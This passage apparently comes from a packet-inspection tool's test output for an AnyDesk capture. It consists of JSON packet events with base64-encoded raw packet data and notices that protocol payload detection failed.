KS2SFv\/\/HQdRFHTquY65PHdbr4J18tz9Jr3272yHuqikeBda9pkhUi4iPcR4VJv4p2hYZYq1smVoOSw5AHwEH63hw947eCXZgv69EhVb0S6phW4a1xoRRrOD18ELmz5C1T4ddhFmvdMqt8wqJXhlvEHrQSlLDURRxeUQIKjzdy0vpG4gWEU9TAd0qRFoo\/esLVmBHNmB7US\/mD6cwsxP\/W6gUFUFrfN3sd5gljCx23rDJ0mFpltdnZGbmH2i7XQH9stg0Hm5vvzg9EBDJ8FqU\/EGjmyFj0pk6yUMLmMsEh31X9pEa9tTi1jSSSk\/cxC\/rho+o3FWWdqdYPyRPI\/9zM7vesuNIw1Pqu3kFfKpIAn79xxn5JhOL+tuLcxglcaCohOYulobpCNjb5REgt0yJ9+XZuE7t64PU3L8\/q0+GXI\/Vrg0hQXUkbUjXcJ7rqpzxpgznPFHQyvhll5Wjtklu7y9Pj75n162ddbvepZW42Zigk9jggUQx0MwTb3HQEmvoC\/4\/7KVVVAGVBW3boT\/8WAS\/jBklYSz11a6exiDo447wg0dAnPhvH+sKnmZEqntbltQUsOWsx7T8yxA\/pRYF+V8ka1tvoaXe5Q0wtuLXMN5KSAsqEDgz\/m1vla5ALVpT6dJT\/nrPP+5qaZ3mCOakRYPUjkYuQGGm4oanT0TTDkZdkF5KEXbNWofFIWQ7EzisKmuQEnvxuJ+3hW+RYw1LlBlzWuiIPizt0Zh0Y3kY3SjTJkCr1zPzcJDZvkPh7A346q9KLh3XXxObKJ1enw0sp+jrph11gjht23hv60gP2G1uo11MVtmmDoiT9zRzSZ5eRugNIE\/mdqTqhISkgpHR9APDCJZRZ1tzfoCo7CWLwQntA2nIV2tipckTpE6FpTuYyMi3eO+S\/jY4FJRRm78xkjl62gKY+jIeY4D8\/2MfJgvnK0LJuSoUwg3hyzia1o5pLyubSQ9GB7T994FH\/FJLeMOcEHK9miSrmhY6\/wr86qH\/5a+HACyOr1jw2Q19pvTJUId\/WO4zEjPDfEXxPW2BoHo1kDg9fYa1VVDaQTxqIqV8xDIOmRVj2xG73BKY5cRJN5czqLTYO2fll90RT6mG8oiZkNZjEllNW2evgdiFFn60eJhDWyvVcOSuwVW4zzP1hc6nbXEfw85taMOWN6fsJC\/hyg8XijXpZ01HliwE+jKA\/IMYn5VPTzdAX9tvQZplB8m31R343gDrvJ9fa08C6mnagY5Mn4DCfCPl\/WSQdsHY9jRdX6M7CS9S1jxpKoX0SUnL7m3QFQRiMR0D9TeTOIoqZz\/9HxvsucWXy\/VDRynm3MOxlNvynGsKkZEpVhHsQ0t9AxeVQoEldKDyu0P7RqRR6hjjRjdOBe0i7uXPUD1zT8Zq3RYBqVhO+xk2E85zCgSWEz0hSN6McuDHcJbx2SRpktAc1FjvX2d+a2HebYVs1D8ixZUzxtrev44M1eLcqLdOKaGc223MDXw2XHuOrWtoz9lpjpKpWNvBTLyMcX135jeCYOHoGgdscyk+mGRS4PCc0rsuqTPGBu5RdogVbaAj+oBWOH8rGJImObNsLJ3EtaIG4GilWYTiwmyKz+y6F+TOjmDlorzFMqNzom8QMj0j+T56eTX+RCprYB4q\/esgiswaUbrykRTZg8uniY3YzuLD0mYSTgIOMa2exvF\/4bfEW6jp2Pw3hbRjq++Ls7pEMux9diKo4FLx18VmRGY2HyauQifjAW3J6\/seEkQW+3Uql5htoBDfrHiXLKSxT+hfxvkcqPz\/XWzJ2VLMNcQYsKXhqgeWrR8oy2Lio1YOqrtXdEofCrx4\/UW5BnJKfW+LU\/1Wfm1HR41hjJUubD6Xr9G8xlvuo1ATQ3krqhUwvNiakixkQM8TRin3hKKyu0u4h0wmSbcsmZVaU36ioQFiDQKobURoClcUhE+n0z2dFZ38DjUwwxGHnhG\/e7FGeWuirBhqT+5W\/wPDe4+tiVsS40q65Q3Qy3qkuJAo48z+G2d+TvsHxmSnnkwpMk3Xxr+SJNPihHyw5iLsNQAgOL1YbAF7mISSitZ7fwIyT\/\/9MyFUFaYb9heWQb3zgrQimtmXxIq8C16wBQ7DEIl5XnhvQ0EmWAaT+oPnNPKpeJ3I7UTYZMqRWXo0tHhNgsUi7Oxvfq5AFxWJRpzooHXdebEpIogStMZzmL+SpuKmzwCS08MLgJOgLFNkbRFrwDkjc7XPweRrVueiwSJ2swa+A+0TDIxCPUUyAAISVhEraovHP213P5tTEcjyqW1wib0qZ\/SS97HaNBtUJ5QkeSpka+3V8\/fLX8q9AuHTAP+2QKVbg3BQhU+Vo7pUW5KbqPRm6Z1wVhssdul+1XU4lmXm4yV7FuYIwFVLfnTCvMc9i8YCUMLJdyi122UMT9MI9R6QW8nL4tOzGMFKDprQYdzjtOZJk2ES8iXs5r1T1DdtW4qGk+BvtNWN16Z8HHNQWwruEXYZT79KnNVL1y90nfDTETOqMXaVje4BpjsHWB+h\/PM9S6v5sxxZOaJl9oy+HCG7PPIS\/v6ZNEVJ1EacGnSpBZscAkVX9poeX+VTQuEAyTTJZsBQx4HgAqMMBvSTl9wwHV2\/\/BlqEsdf5exAhtnmlmpyNI9USJZ6\/6Vd7X\/PV92AcTGVMqYwX9apP1j24HevzMoDw7gqHjihCGWDBCY\/ASFuUKXYTOljagFY5LM5S8s0VCw0KViPT6I858iW0VeqYUQVB9hnSjIhnGN6SmfF0corzikwVVE9RzryNQWMjDzYwguDWBrJnXrQ+EKZCVIqYyd4f\/oP0bOP3mIUNAbYudibQq2UUstB4AklPAqzao102\/Nw9o1GK\/IXfnfl\/wlXD7pRnthf0klROKSOuxY7gdgvcT99G4MlOfZDfRaJkWKvr\/EA1RZT51Zwzl+ggqKhGjNm1c53brh7jMKb0xqlhTHaX9OUGfdoL88UXMOtJyLUi0YNO+PBhLIyk\/6+NlaKHwxbyjjhH9\/Ram3GgzV7b2DbRIWfOHRYMQKy+XfwyoPW63M+mLAp5fwN\/nucfLMnN6AT0pUqeJ6DcosXiBwfxBaTmFLCZo1lVEZuWyByLK+NYYxTVU70yyThXO876AlD0yS9CxLcweHlV8h2F1FS5GHZ9FBPkEhov2U1Q81uSizcaaWcdOC3824iDn6ueLSGdIELNaQUzdyBkuQXLmIYFkFfBn1aRLdXbvgmK5K7pukPojQ8A0XJWGBPW+woVge6c3XTRFbwB4Czsf+bWighPYOVngHFdxaQ5VGWM4oRc\/2My1N57XDGS4Z0RuH2PZTAma6zY5PUTxP525DuSglJ5zE+f6rkuUyl73HAJk9VykFdDjxDQkXEgamOUuVOJcDv2plq1aG7xj6fNbxgn7h1nnNdJxNZSfY0B8QWPVSe+ajc\/AeSa5OPGrKTE6POH2s0D3pJsey+IUE\/lm89icYKh3LwzlxEslkHgHOx2JOQKQWM2\/cTCQ5sS6rH2JvcwN7tDGpUjHyNo1agHyqGEbnXrKNdLe0PFx0asJnynYWFmeU9fFp1pqsGwf3xXfynq4lEndxdIJmDo0qY2ZGESTs5iurDXNDAQgw\/6LTbsvEpah9bN8S8pDVd1o+8wt2jMV7fOB0a4C91xukGteEG9BE\/7U1AUjsff\/EFkypVQbu0NdABrzicG8nBCAN6t9knNbGLRk2dKN6Rx32IBcQfN\/s+rk\/5F5LAN6eYt+01b1ZK0mrjGnAHfMpsEf\/+WbT3tBQcxE2hZ7C0yllqaKP33Nk21Cr58CrprZk58zQqzOGSLfJqYcSd7BrnKTsNtzYEVNsK\/EKYLi0j0zWTjDVSNYdbMFeLVhPZK9heq+18LF1Ival4milot\/s6kE5IAfKzk8g4tQTHpdf4aug64NCscsFbBT8KILP1wgKCRUCC29XXvxRlRZgV\/mAbu8N\/yvuyoFdNClWii\/vSWV0bZwwFRr6\/N\/9kBsO8jEaIR87ds8SwUKf\/+4MW5kr9lVC4d1TU31F\/jfC1TvtwNT1ebxzHH4+PJIybFwjyfdIaDNUIfTiaJGdvpfm7ML5A5Q0Vxh0TvytMkH3mI8tCngKZvdDT+OHXUEyidlc1Z2lWPSE6eZ4rN78hXyX+j0B7iVQKfgvSI5eAVZm4xWrqLgXYAjFOppZhzKyVFnpOiduPwT6HjDcvQjI1dXsuxE8VCcRIFLI1kf5SiEzSkgM8IMNmMc9d3sPCP0iXVsWD5N9m9g5KiCok4JQj9HpV3kPTD\/ZopYAG159ry6+b2u0\/+DbuFFcvg65Mg61Ra2qy71DM6yZRRFx6gYk9EQMnTkEZXu05RdFO7\/Cytk6ibSkSEjC7ltz9kNwvniWl50qBTKGusvw+L\/hGFm8LBDk08kdOxeOFLealRgHE2WtY41OnL27l6ARSELiEF5lSOTWN+yadrIBoAAKBZI5nZgHrPK16cdLK8ODHPfYv3CAn5QxzyYXqP7VeZ5YDdwvIx3oUvSLbd3jVNUS9NDqyh7yRJEZho5OARkoNepeujxToW8DJtHXqBgKBglWRiREjlrEjbiyzcskg\/F6JzaxRT5Iv1FoEVgCHtqXhgSWDC5YmBN3o8UMi6t5BWkL2DuoKWJhSMOxZlNm+66Powv6j\/zcywvlGNBDj33JQhaaxAahG9n3jyL1THgl3LPCChiXl3VkCm8fFzGA2oGf5vqFv7IJoJtAtQCneRUvq4gThh2tNaPx\/Tg9nFqbqeIUTrFBmLbCwgdUx5X8gIMxafxngUClQm0wj7fQERX+ObunQFLV9AUg=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":188,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07828{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":189,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":739674,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdvhAAIAGAADAqAG7wKgBstOUG56PGyMeWcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msUykFDkatfYDGcEVUtL94dJhwEv040oBP5iyP5etS81FIDyFoZU7b9f1Dh8oHpMbJD1bsPZpmwdfCJc9DlzMjWHoS\/RFqhSNBLj\/rQmihyDhBViABKUhHRfmBJbhrgzjaXg+N0uab1A5hyx6\/pdSplsT2+BhRaHky1ob8DSY7kBNQ0PHZ0TwHDANd2thfoJDteyVImghBUZiO06kGI\/YDNDjBHhtwnlDCWfKUDujKfYs9gInkW8sUnWwDKLyoODYCcB2YSASd5ck8yz7B3XN1B\/dt0+\/+21LfVwigtIjfcLfAiKNAFFORgfVVqMl+AO7pFwrJsJAURwfWxl7p\/MGh6kyhzLwhZmeBsxlVuqLASgpX9WcZAXSuuduqHETtASdxVPS7+4KjFyex6sJ3iIA7lgoUZA9HMkm4SkdEhAS5tiSNAS7AbECCNaxbeFdXEhPnJWeOnXEkiPgwI9L4RVAZ88LqJpirjWdeD09FN3xR+tckbM5xKC1QvWQlCcTjAxMINGEhQgv+wk8\/SzeeYfnM+FlTxkX8dKmjsaXtRrXjB3U2P6\/nD7qoVDmapAS1WIyx2thqvfjuSejEiSVxeUxEngTyxluBPycO85K24uvP5ee8\/tW0q2lulb01hbqapt3aUXNpFpw6RXrPVfcv04gg+BTpncRKUpkU2SMWGNOf2bSFjk0v+0\/7NSkNOGTpbo69MxHtGAXmV+yoXwz\/EO83Dlqc2VHU1cuRV2J1UrWy61Dg9pgAZQj8RdbCoMC1jzvrC6xXjZMEVUgkAeAWlhvDn0bUT9MA5MW4kDCciOlNCzWggDMzIS68IyMlnKt6w5o+n2LQKecAES4wWL9vV6nczksPSIppe7var3GATVWxMinmVFFSZz+vghAOfwIXS2x1ay+Z+bBnKIj5IjkKL\/pP4mzBQItre05lqBc5e3mZr9WCMWlW\/jiLjmTCUkHlx1i29QI9r6toEjZzZMTHaepM\/qgCAANMmIyx5d3QjX3P1Ri7v3q6a6bt2PGifljDmJ+WNubVQ81+Rcu9PCQxBPNaWY4wpCAzCFgMlStQI1gbVuqK6m\/CwWGTDHEZcwQ71pMtsPUCIvhzHMa4Mi7Go9dfobkwFYuFOP0\/27SWJr1yB5QnHXxZ7kiqzT6diPCstdEs+Vreyfd2aitDh4ivhOAgaSL4I7AAVjjJltxRqRyzf+foP6rH\/9Ljr0miOq7EfkkvZfGvQA7hEQwBHxhuqpYwni+lue0mw+UtCK3E+tEqk3NRhFVfnh7z2JCHjnrHhmGt8L2fFZVbVb\/4RqMMDpdoIVBKZ2M88n\/9BASABFSVguFc3HZEnk4J7vJ\/s50B0ALoNxfasj0mfEr\/PPLAiRzd6cvI9ZJzpwgfL4druBBpXA8\/ZabszWGrt8sYeS7u0Lzu6gxSn7muNgdQpqAtvTi4OQPM5odV8AMeCrUxiwVstLuYfDoV9N0fwTgQfAFNmzrBCMScstXjeyTYB4ZRDGlx9lnWDHt1vyHCS24DN6KpE0YBcX26BE7obPuSo7RnD2MsAxV4d3qouYprP6xBaZFIiUDZmihnCgFmgj\/sBLURFOd0QKGHUGbnfv2q4XAu+MSfqzhh\/nnACHVBBjh3ljaYR0vXZeE7LJtsFdmIoHf57DCiQQ+Cev2yKh3gD9+F5O7\/xw4nzcLZGJx5Ys9Mh+94M9FciE42wdWnLftgh+r98Pz4GjSvrGUclChUBHhe6sxVABT9MbKNijDra+voulRYhqZ1Uhmd2kLdef5L5+3YWK4dS0yhqdbbrFg6HfTJh32GlCxT+YZ1UPr\/ZS1A8vYHO54cpEfF1TVVLMEij+O8eugLykqMzvVWs3RuZ73CRocmmifVlLpVtFw+tdvmeXi9GPDeQRi9MLmtWn463+QkW7ghBRsRlZ8Zm2qzuVQF+JyNYffzp7qJRk+R9HhegjWh4fkUc7vBFbgC1dDNBegtvAQPgCRsLRHjTupaW9kOIW1ttKeuwsP6RKKgDTAgLe48kH6l5veUpazfZ9qBDJ69nigUmEeK8ZeillkS\/7wXmK\/XTLlkREXLKrrTu+kVug7rUKHjV3C+gHz\/b94iwGR77LUdFSSLAdVRzEPK50K9IuodAKs0V53MJtNeVoJhLINtbJ3fpfDJwQZPPQVqep1I1UnZLA3tjBa0R8jb0+Kd+cp1\/RqCFZ5xBmYA6DBrB1PcdcFoPv8BS7X6HNbEXGNjuMUQ\/dXe+TB2fd0O0X4wjmkSyw4PejHZwf1zYNqlXvW0nKyDAuWmQHhn52WLFY5qP8EnKv0wwpIOKP40eD887NXGimFKC2zwD4JIZguVFdIvIpk43pefPmSLrI0Eh9pQO52dYKRa8dUereKGEbhUt0Pwx8pVKhxJn4t16vJXBKpKTdm1afDKb5RrR\/pZtq+zi1+aY412C1vosEDLkzlRDVtfbBV5U\/DAKkbnhU4KuAcqZvUpPdUykz8cgDZ6WnUSv3uion3mGuN5fbUWfP8k1MYW5zlDDIbkum4dc33pqbOolwwz5GNNVRhTFOgbrbkDE0cWI8N17GrBNjuSEuRvKy8gmDJxjLfaHZqn4semFKzSW45vXfjnncAiD2uUP9DaesEcvM01p6vvWwCQOV58SXMtgTVluz1\/RINv1vkoE88P1OijnRScaQSlOByAEnHUYVe\/c0z465ceMUDHHEWDGFHLW5c+hGT7TNe2YaKTuJ0ahpCXPVyIU4jEWI76gqsP3TP8736ckOxWMAiW\/nASqLm5sHj4pDQNRCB3NP2fKKozvVfQ8bRAhTxIvACYKqk8hp9sAtfsRWJtDKRJHYfuMR+uobjtzYztInFUyPoG2gncIYsdUhu68GXfg68vzEf1xPT+vLft++ctzcbv5YnJRk+b2bVh5rdZduSRTKO1DCHN2q51isB8PuPt+\/uZWt3eKKqyMRro6iBI+zVMemRSW1xHXhrl0IwgQwUmDTi0a+EcneushUjASkBUX9zLnrxlMc29yWyItu6o88+sUjxv56qsaGjGcs0CK0q\/aei60drSigF4dustAbhCP4u\/S\/+ulpTOmMAMcFngFCj4dPs4My15Og\/3MY6EvcF4Kjp2bZnsCcaUtRJ0VJ\/TRWPPok\/l748N3kEZuifePJUSPxGI4uNds3ZO+Ybn+9x\/kINUjrxXFE3QzVb18stfHcCUqyCDyvTiVb7veNVCdx8cbBOoo8qF\/lcsB1XE6m2WvgwzM+mkDQAdyEd1ZmCqVGBODvOftU2BkHoc7Y14dWuF\/R2jksyNe1bswk4tzzIHeOXtCK2PEcJERBJ5npJhcrrf3Uv4sbn0bbCLsmlCuBBJEBy9ACpx\/V4phqolGHqlqi2BN1Hjgge5hqlEp90+WI3xR8\/CX2hczNNGP51J3FyUvxIOEb7v0CMWvc4t5ofpjnuJMqrIi8SKYAm2PFWUiCt2UKLBO0SA+P7Ob9n1tR\/Hno5J5bIB2bTxzzi32Rq1DjIBjfo4bL7PpSykud0Gh7gcoWIUA\/qfeSbJf1lN8oFeLGzohX\/yhzyPumosOt3FxB637volRQjqloEWAZuz59YdYYO+mGTTx77E+tzXyUO5PWBuqb0n2ZKVDL4ffeAi1t1VzrAv6JLe+T9QS9d1rnGu9W1l4UO5eygQfbF8EjE2Het1JRYjx7g4SaA5dvvapo53pdPtJ2GezZfvyMnvE+bDMsV9GIiKyzw4WdfkFYiBZAedZ1umCNC\/J8pYHrSw4R2x8XajvIjrv4Jq3iwImZOQnxkRM7kjhwAdpVNfk6jvMzTJT38b+8bJzUuj\/eVXb7pKNz3qqeBYWFXp40LEuNEkHnKQ2o4BWyc3MhTHOxh352182Fyk3zWscsbPyW8hNeKaAFW2QX7Y\/S\/CjEPbGXXwgbELXcz2EkrfXkQv\/KYolssJpOtkRk6z\/4JjqSg7ykBPil9jBLBOK19PJblUPeO46c3YYjZhCnEK9K\/ybaV92g6ZrqGYxgU8ris7jOZIHqeBkViCgd6gp8+0uJe66J0p\/UcnbfiunPnYE8qXgm4CTwh5VAXvOgi\/VYP6vBpg9wreZcGok0uq1l19g1q6gpwLD5Zsg511qjr1pKU5n5LXytFBkOyklOe6C7qxXtEJnWAc44FNpu1yUS81LChQRtJMVZ2vheM5fE7hyIScgJxAr85tp1lhYXuesP7BkA6iyInqu0XvNsGkQhAu25\/E3drB6FicivXO1P21sdftQiBU1Sbcu9AsZeU7dhsgD1PhHj\/YZMnXzfYI4TwXyUY1SIRjxXbYhDArDyZsB2TuRljZ4Xy86dBqn\/llWWN2kXhux4sYgCCluYcjqdQQL627NjMpRKAYYFs2lIBTqNMSA08QNIxFVO2WxcwXMKHvwR3qSFH1\/Q0dIGsdqdqRFpk6wylfaVAdY2k8sk+pSgT+JJyXWP9M2A1aJ10+hGyM1nGzoVS1CVo60Rf12CdHt6qO+fd2xiD86nsDB9+gleEGpt2Xr8AQJtgK14Iz2l3znllIQJhRtw1eSmYBHBT+smNm\/iiFmZIRC8McioqZOyNfk2RNPzVgeDhbK\/nO5JXnu88IUORRcy4DDy1tyl7RImApCKVf0ILIjTAaQjcKcFbeOTP7Rfzxb7k+ORlOAwx\/R4qHn2xkq4oqoNitKO382UJ9co2MbYQ2nznu4r9Y6s\/gaKrgnlWaw8+mFkNaqS6pO8PT0t0x1xcLrOKOmDTaowmtUaJAiiXvKBryoPzTC9d3SBlPHsMg3hQ\/0ZhfAx667M3YaaJom\/R7k5kMGEjw5iISaxpGARzeO7yNno1rcM82dv+QNcvEYn5Vi9HWCE5xT48osaGCAndd32Vi3emsWr4eQz9VFWCdncqQDFkoqmVIzZA0NUU16UC8cp8GKI18EtQGDMSl2SMQoSNe+L3c5xeRYId+L7NwJN9Q55PmAbRBCx2YwyVpBpmkJDW0RVcjOPMuvTOrzkKucPhIJ5oyL0mA3BOer1C80hy4MB6UDXVVEtXIQiW32paY4LGc1j8+FUi+O6op3hn3yNBxuqxz1oFfqoMlZDaVx5SNXL3Oa03cpTIDbij+b0e5IlDfCcNpxMUGrhzRLLJzYq6cqZsdrs\/Gy0Dj\/7a5Dx1FVHfcMMixi\/QjekQbprEISct2S6mLXxhZkW69TfikWjzusEp4EGxJlMj2UXcLx9iFiIlF8LFL\/jFUHtM53JFnuE8tkh4t9AQZB\/GCnh3\/8xASsfUh38AlxwybHa4WvkMLtGezlfrAoa7HLuLmlBAfV5A62x5Kx18h+MbzTR0kjUeGguay3LRHY+kZ7UeMhEBDYpjJN3\/IrXxJXOgZJYMcew60n8SQahJ3JEzXR2z4x\/eN94xD2fSDRoa5ZHZlJeIfG24fj1YXpqWjwHW\/V8qapPI9UasJgSLcqfozr7UjtfhrDZVW29FnWAjg3i+wMRiA+ZlGsWWXH\/Et\/rvTAnHwUv4bzEVpzB7BTx5ejO+mvthaEvxRXc8sCXgQf5fRrpDY2i6t6ydr21KoSNq8Un7J1wLSp69ZcHs7gNFMSihRM5PKWq3Ko3RQ7P+g9qN8DN6mIIfd\/aBA0+QO7nq8xiiXmEvXDBn56eb2k2WNaK2mMvbXDb44+uhPeIHRtUvS+XkeNgSwDS\/UfmJG864XvKqDwr6XwaRm8ghcysyXTJPN4PggE+Vw52IiqLwOTBxZqNpjXMgn3CdTrNVLcxNMTC59z\/MzowfETWIMCMc4eIdFOaEnDtCPxfcEcS4S+yCGqGoJPQ5DCvq2gpSe\/2+SSuXXRExiLZ8IJXR87DIZbf9N5fow5Hi45YH4KWGT2YvuaAyJH4+HG68xP54eIDUVJ0711fPKDFGyQctd+h5xq67bBz+pqD3mS3cO3QBhK+SOzb3\/VrrLm8b0DlNvoFyMIZY3nP4jKfn1HMnXnp5t2ZHz+bCc0mNdSclZCsSX7wQtHlwrQ0yRqfZKSRZrV1bgX03xEtR\/bnIrKpRWd+869mwJuIjmwsCSNjRAUfC6JLY9Rzw0NeyISZRa\/JUP2x0LJUT0s3p2d\/xaQKlrHU8ZwnhORrpVLhDLtpbtd71nbeJs26yhtwjHzWSTJxvhTMrzw\/txf2SG+m2b5ca2+I\/8bvBV85wEBL2HimdCzZBfMsYlQarOa2dUMRV4qwSzjjGpSd3s2EU\/ahGluIMX1ZLeG0JYWoUDPlKjojWE+bTBkInxeWLuSTGpdVJSX0fF21Iga8qHB8Q6gE03quzqEcFEAWiuGD1hW4EpZDbKDWF4sfGCPyWPdt1F+i2UDDM\/t5T2ehcqJMx\/UM\/BBY1ETuBHXpE9H3teapiSwrsOdtDxcMRyq0PWvvMRnJZOWNS\/ZJ1V5vamdkNnI2r4AOm0XgiI3YO4i\/48iLf+QbXhTJorCurkVKkFN71yVbu3uS3RwBCXqMBW+T1KeER+rR9NPna5kAlPlCx9R02OegeOz8eP3PX34pHXLlzr\/ISJVOGpi62WaB6HbxaYYhyoyzq8\/nTS0UrDYPYd0YSgpXAjV9chMqzYyv40y7LeUWhjs2HQFRyD41eYYFmbI\/bhZ4RZqtZ+ze8KySm4EaiumiNQ0FLZ756D+hB98FY3B3fPpmvgLp0QKZGFeWfKci9WRJeleVug5h441pJCdU8SCPHyxmE3E+wvyz0otROERrL5pwnavZNhy55H2sdzkqjEVLORQeiBmkJrO2b+nrlgZdYa2\/h444GG\/0utmJrq9\/b0P\/UxjovJk7tONfg4DV63\/NFaCC9E2glWR4NKjwXBFzk1ERRREzf4506h83nuOu7\/g3DCRJ\/6JnyiCUAlOfW\/rJ9NjPOOdKM6OsBj8ZFUOLT3sJcArtCQTa27BUCyWezjusOmMXC41CLY7g7K4fTzUB9+sYb5PEdPNgq7W7XTjEUYEledoQTHv4yspjoAyai9TqGqKwDIYp0Gi2nhNbw\/2h1zRMrZBcgNW5heOkl1YM0iJSJ4evcZRtAzw5Ap\/nXPjwidHirX7Eki1DZpr8F8cG5eWGH7TMr0WAVLVjbTEEGoO87tkFA\/WnxIhtNucoNcGSX7rlcd2C1UjrAxuODETcy2bdIiBh8L4TGhBl0m+PYDgo5L2jBjnPcjrw9LuMt6u4ZQhOPdJz0Hp2QLKq9WL59sDa02bLn3d7kfE37slaO\/7dulUU9wq8y6Yi6BLNfIHKHsBppE0M1bn+V1cN11K9AH+zvEIO78huSAWEAGcmuqPMB3F5vN6Er2KVCOvyRPuJ7Fd60EXkxJGa5khwAFlkkwEMmNNVO0fYpbe6Z18eZlez8aHFuYJXA1K\/OwXD\/g3co8g5LXcjK1VLj5ZqYPFLuy5nJJM27fdJA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":189,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07829{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":194,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977602,"pkt_ts_usec":740666,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAdvxAAIAGAADAqAG7wKgBstOUG56PGziaWcP+aVAYA\/6ExAAAFwMDFXdZ4hNO+msUy9oVTSuuF4B9HpK3JVaRbyF8p6bmsK4dQQlK9F5nC6mCaXSh5pFlkuj1lCy5+ZC5nXtyw1Y8kfm3O\/wtGzn+n+no3UTPuSXIn3\/3jHghtgVmZjqW54JPjhch0rRcHNQ8gZ49NLfzUpXRC\/7AtHp2GpcQBqqiRlPwpfP4UFaHQ1jkGKZz+vdsRxamNWiNvBKeZy8UPfEYS6NcdfMIWyri3+d1PnnTo0fD9kCc6yH46OF4HEEfkZi0KAC+upFa7x\/GEbHSto91gHSQgGMJZXMIcE\/oikTdCMc8hGLUx5nJ8vDE+YhxVavQtnsSI9zvo4fcuTw6EI6YVR8KVuZ2qWtg\/PZ93nNQAkzWYFlxG1v7pWtm2hm8mzNDPhlUT5vVGnamYUxitzt+1VIr82Luq8ytBEpsI9nGAXDP0sFwnzhnB25TaOFeDc5UgyMZkXZzJR57J53a7d7Bh2btoHgdY0\/wA3kGYLstI21SUZZmiqJG4xTgf7Sii16rArW\/FSU4gGyhOkYWRtUUm221P4f0S8w0RAwHLLF\/e+GbhIjdV\/3i\/7afM5I\/jU0bFy0bSZSUfi0VuiUvjYOwkuHTP2\/tqR+oMtzJZtU5+dtHVNVkKaZBYtzsTaIBwRM8x8NvhJWbgy9otoUjEXCNCCCZVJrmCLPxVhwK0\/vZ7ZLKmIqlCSEw3pwpk81jcOAVSvKHJu5DICJBwoVFHI9AwQuLqj1+ISFmA\/HLzdEgjaYlhJ8NHyLl2mfUxh6r4Ukj\/huQZBCY0jscv0T72EQn1OCaPvPlHriWzFJauugySVsLbsjO+GwbNRn0ZYbjxBWOc8uZNmHnedUSLHzycFLbMJlH0BxxWYkLKAhaUs+SXLIT4wVisO67Dc+0nvA+R4+IKOEUDOq4t1RNPiIFXL1iVWzUTPaqcv4IwkXLZTVIu1QO6QiQrMiROfvP+KyDq8\/X023QbhdCPJxzzkP3lg8sceU6SuTRMW8So1k7oglDPz+WWl+QGvoBoR9amRocqjzSljU3RPzpV4UgKN9\/EZuGgdbAeZcEPKBu2tUBDReI8UcX0g0kBGtW1hehwrwtkOVzMzhsVFzmrwK7tDFh7jP6lxj6oQnQLgxh2GPxZyjz7OB8Xnj8DeoRixiwdFRctxiJzVItaKQl1blNJhhuJb2PPUbKU6xdwEfuozIFNMIpEWEcUWAwJv2al3mCvIDd6ecfeqcs3RJUE4gH3SXB7wzE1R+emmBJYggpwVvZUwBd347+y0m\/mJc6SRu8F52JN4KLn7bzW2twB08yrh0LAthlpuTKNTn7Y83FO08cIoQuNsy+1y05uy0uhMSbcM+6uhfb8jISAYD1gMcom22rTxm8Tf6K2MenXGLjgFFQF6L3uZt2r5nHjUIzsftyl7kvLlP8e6B5tKzp5NTQBYMnaVfmRiUNpRAQJGD9+dNZVjVhVfiWTYrSP50HDqYA6uoo5R7xzkO2p8Y3ejV4SaLwabb84c2TaiZXAGSBpSXtjA4es9eQh68HvMKn0l510H9CeIfFCmHKdhDz4wgvJbVn1poCGODYYp22HHYyMeqRQOjLpTEIox\/Y8bFDaG+f9nbMw1opTC7VqtvG5Ez4yQpUHtFvw4DiIIDPbVPsTzGVyRCkeU7YGcWRjntcInpLBhW4bjnOWLFeZ1OMEqW6JhPz66xVmeGH3GbGxQR1PavePTk73Qn3Xs5P3qYC2T6DNprWaUm\/t2\/QmQ4unYxuIZL71URdMLXyyKHGApoM\/Z6sL\/eCyWfiW6qYdJ1KdZFPR50zH9m3AgJnCzvCpB6RMu4YK4zXrd7yy1t0iBzwkUhFixD\/ASvD\/tynfNy5IMuJZHyy4fFyl5TzFqMrzH4QsVkHBV2qaA+UK20TTrKfrM1qcMvJbyyL41+0zU1VcUqMqNonjplbqZEyLVrtFGn0Ik18tmvRiLYE2SX7s7SEEn11c0iImq6bI2cuAihp2mTuCnvSxCnAaMT\/iMaL3nwHHF13aduddsy0gBU8en4Nmsk+SWgXfINjI2+jqPb7Yhqvz3k6syf4LcdtpOHr9mLV79AtS4PaKZ9zQ2bdV6saSr7i+yAFMtfJ9Bv4HtcAFLW9SGg5THQ75yNbV1tjS\/+\/Rvf2mskgH+mg5pL1nSxFJsdO\/3YXp86pY6h5Psaejja+59OW9qbBCpGCfq1t9t5xxqr76fMJrDmoPXqAMFzHDDsUW3uzr7t5+j0fhdu\/LO\/Vw3aKDPYuG0tKcRgBn6lG1NWr5imLezOWPaWQZG7LpWk5otwR78Ah8NQSe\/ZNFS7xFavCo8eZtX6K2naHgBDCNTLy\/S9wRHX2Dg5ZLCPIt4YFFhY16ImQwGXOmC\/5cHCkboGD9nYD4mVUCu5wZu7UkPjPLWsD5qV6CMrVTWvGt5L56ObOV+jmdqWCkXaXn6ewzsJayIibY+9\/E45Zmh\/JHqJOeIpS1W3FRoeUKqnGy8Hi3WT2kd+xKdLOQ\/kmE4DdM4+k2VWZLFsm6XBzDbqgkrHrMU9AyekKUD4C3cX1zmVZKVs3nFUJ\/0EfIIcDg\/JcVf30O131ummYEJ8Q+IJinX3nxECQ9DSYnSDjkMJp09bF3e0AbSzv2Z+VlETPLIGLXqO8Pd\/2AOBfq+xnhdMrswl0tUVQz6JxVThMIgeRtIoPFFMFkQAOkVnUcEWow1cbIuVhGR\/F6YoYu